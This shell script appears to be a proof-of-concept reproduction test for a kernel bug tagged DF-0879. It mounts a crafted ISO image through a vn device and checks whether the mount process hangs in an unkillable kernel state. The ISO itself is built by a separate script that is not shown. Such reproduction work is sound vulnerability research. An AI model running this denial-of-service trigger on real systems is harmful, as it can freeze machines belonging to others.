#!/bin/sh
# DF-0879 reproduction test on unpatched kernel.
# Backgrounds the mount fully detached, then checks responsiveness.
set -e
cd /root/poc_df0879

# Build ISO
sh build.sh

# Configure vn device
vnconfig -u vn4 2>/dev/null || true
sleep 1
VNOUT=$(vnconfig -c vn cyclic.iso 2>&1)
VN=$(echo "$VNOUT" | sed 's/.*\(vn[0-9]*\).*/\1/')
echo "VN=$VN"

# Background the mount fully detached (no tty, no stdin inheritance)
nohup sh -c "mount_cd9660 -o ro /dev/${VN} /mnt; echo MOUNT_RC=\$?" \
    </dev/null >/root/poc_df0879/mount_bg.log 2>&1 &
BG_PID=$!
echo "BG_PID=$BG_PID"

# Wait 8 seconds for the hang to take hold
sleep 8
echo "--- after 8s ---"

# Check if the mount process is still running (stuck in kernel)
if kill -0 $BG_PID 2>/dev/null; then
    echo "MOUNT_STILL_RUNNING=yes (kernel hang confirmed)"
    # Try to kill it - if it's in uninterruptible sleep, this won't work
    kill -9 $BG_PID 2>/dev/null || true
    sleep 2
    if kill -0 $BG_PID 2>/dev/null; then
        echo "MOUNT_UNKILLABLE=yes (stuck in uninterruptible kernel state)"
    fi
else
    echo "MOUNT_STILL_RUNNING=no"
    cat /root/poc_df0879/mount_bg.log
fi

echo "--- ps check ---"
ps aux | grep -E 'mount_cd9660|mount ' | grep -v grep || echo "no mount processes"
echo "REPRO_DONE"
